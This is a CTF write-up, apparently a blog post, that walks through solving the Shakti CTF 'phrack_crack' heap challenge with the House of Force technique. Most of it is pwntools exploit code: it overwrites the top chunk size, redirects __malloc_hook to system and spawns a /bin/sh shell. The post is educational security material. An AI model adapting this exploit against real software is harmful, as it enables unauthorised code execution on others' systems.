Shakti CTF : House of Force

trustie_rity
5 min readAug 27, 2023

--

Last year I played shakti CTF but was unable to tackle the heap challenges. Recently I decided why not give them a shot?

In this blog post i will show how one would leverage the house of force technique to solve one of the challenges. We are provided with a binary , its linker and its libc . You can use patchelf to set the runpath of the binary to the current working directory where this files are to avoid the binary from defaulting to your system’s libc.

The binary leaks two addresses when its run thus we don’t need to worry about bypassing mitigation techniques. This makes this challenge to purely test our knowledge on exploiting the heap bug.

#!/usr/bin/env python3
# Author : trustie_rity
from pwn import *
import re
context.update(arch="amd64",os="linux")
context.terminal = ['alacritty', '-e', 'zsh', '-c']

elf = ELF("./phrack_crack")
libc = elf.libc
p = elf.process()

gdbscript = """
c
"""
def malloc(size, data):
p.sendline(b"1")
p.sendlineafter(b"Enter size:" , size)
p.sendlineafter(b"data:", data)

def edit(index, data):
p.sendline(b"2")
p.sendlineafter(b"Enter index:" , index)
p.sendlineafter(b"data:", data)

gdb.attach(p , gdbscript=gdbscript)
leak = p.recv()
log.info(f"{leak.decode()}")
p.interactive()

In the above script I have made some functions to take care of simple stuff such as requesting for a new chunk and editing the chunk! Once we run it we can use the debugger console to check what symbols are at the leaked addresses.

The first address is the address of puts while the second address is an address that is on the heap.

We can modify our script to take care of these information and then get the offset from the leaked address to where the first chunk is allocated. Doing this will save us time later when pwning the binary.

#!/usr/bin/env python3
# Author : trustie_rity
from pwn import *
import re
context.update(arch="amd64",os="linux")
context.terminal = ['alacritty', '-e', 'zsh', '-c']

elf = ELF("./phrack_crack")
libc = elf.libc
p = elf.process()

gdbscript = """
c
"""
def malloc(size, data):
p.sendline(b"1")
p.sendlineafter(b"Enter size:" , size)
p.sendlineafter(b"data:", data)

def edit(index, data):
p.sendline(b"2")
p.sendlineafter(b"Enter index:" , index)
p.sendlineafter(b"data:", data)

gdb.attach(p , gdbscript=gdbscript)
leak = p.recv()
log.info(f"{leak.decode()}")
leak = re.findall(rb"0x[0-9a-f]+",leak)
puts = leak[0]
heap = leak[1]
heap = int(heap, 16) + 0x10d0
libc.address = int(puts,16) - libc.sym.puts
log.success(f"Puts @ { puts.decode() }")
log.success(f"Heap @ { hex(heap) }")
log.success(f"Libc base address @ { hex(libc.address) }")
malloc(b"24" , b"A")
p.interactive()

The script also calculates libc’s base address. The heap bug comes in when we try editing an allocated chunk. When doing so we can overwrite the top chunk size!

I will be overwriting it with a large value that will allow me to request massive chunks for use.

#!/usr/bin/env python3
# Author : trustie_rity
from pwn import *
import re
context.update(arch="amd64",os="linux")
context.terminal = ['alacritty', '-e', 'zsh', '-c']

elf = ELF("./phrack_crack")
libc = elf.libc
p = elf.process()

# gdb hack
def _new_binary():
return "gdb-pwndbg"
gdb.binary = _new_binary
gdbscript = """
c
"""
def malloc(size, data):
p.sendline(b"1")
p.sendlineafter(b"Enter size:" , size)
p.sendlineafter(b"data:", data)

def edit(index, data):
p.sendline(b"2")
p.sendlineafter(b"Enter index:" , index)
p.sendlineafter(b"data:", data)

gdb.attach(p , gdbscript=gdbscript)
leak = p.recv()
log.info(f"{leak.decode()}")
leak = re.findall(rb"0x[0-9a-f]+",leak)
puts = leak[0]
heap = leak[1]
heap = int(heap, 16) + 0x10d0
libc.address = int(puts,16) - libc.sym.puts
log.success(f"Puts @ { puts.decode() }")
log.success(f"Heap @ { hex(heap) }")
log.success(f"Libc base address @ { hex(libc.address) }")
malloc(b"24" , b"A")
p.recv()
edit(b"0", b"A"*24 + p64(0xffffffffffffffff))
p.interactive()

Checking the top chunk on the debugger we get :)

From here we can leverage this bug to overwrite __malloc_hook with the address of system and when requesting for another chunk we send in the address of /bin/sh as the size of the newly requested chunk. The reason we are doing this being that if there is a value set at __malloc_hook it will first be executed when a malloc call is issued. Setting the address of /bin/sh as the size of the new chunk being requested will set the rdi register to contain it therefore making a conducive environment to get shell.

The above shows an image after i request a large chunk that ends next to the __malloc_hook address.The next malloc call will overwrite the __malloc_hook address. We can use the script below to get shell!

#!/usr/bin/env python3
# Author : trustie_rity
from pwn import *
import re
context.update(arch="amd64",os="linux")
context.terminal = ['alacritty', '-e', 'zsh', '-c']

elf = ELF("./phrack_crack")
libc = elf.libc
p = elf.process()

# gdb hack
def _new_binary():
return "gdb-pwndbg"
gdb.binary = _new_binary
gdbscript = """
c
"""
def malloc(size, data):
p.sendline(b"1")
p.sendlineafter(b"Enter size:" , size)
p.sendlineafter(b"data:", data)

def edit(index, data):
p.sendline(b"2")
p.sendlineafter(b"Enter index:" , index)
p.sendlineafter(b"data:", data)

#gdb.attach(p , gdbscript=gdbscript)
leak = p.recv()
log.info(f"{leak.decode()}")
leak = re.findall(rb"0x[0-9a-f]+",leak)
puts = leak[0]
heap = leak[1]
heap = int(heap, 16) + 0x10d0
libc.address = int(puts,16) - libc.sym.puts
log.success(f"Puts @ { puts.decode() }")
log.success(f"Heap @ { hex(heap) }")
log.success(f"Libc base address @ { hex(libc.address) }")
malloc(b"24" , b"A")
p.recv()
edit(b"0", b"A"*24 + p64(0xffffffffffffffff))
p.recv()
distance = (libc.sym.__malloc_hook - 0x20) - (heap + 0x20)
malloc(str(distance).encode(), b"/bin/sh;")
malloc(b"24" , p64(libc.sym.system))
p.sendline(b"1")
p.sendlineafter(b"Enter size:" , str(heap + 0x30).encode())
p.interactive()

From the above we can deduce how easy the house of force technique is , the only thing we need to figure out is how to overwrite the top chunk size and then from there the exploitation part depends with how creative you are!

Go through the youtubevideo linked below to see the explanation of this technique in detail.

Refs : https://gist.github.com/xct/88db526da32d492f3818d15942bbb39b

Refs : https://youtu.be/_xmVhQfSMxg

--

--

trustie_rity
trustie_rity

Written by trustie_rity

Offensive Penetration Tester | M4lici0s Lif3 | Find video walkthroughs on my yt channel: https://www.youtube.com/@trustie_rity https://johnkiguru1337.github.io/

No responses yet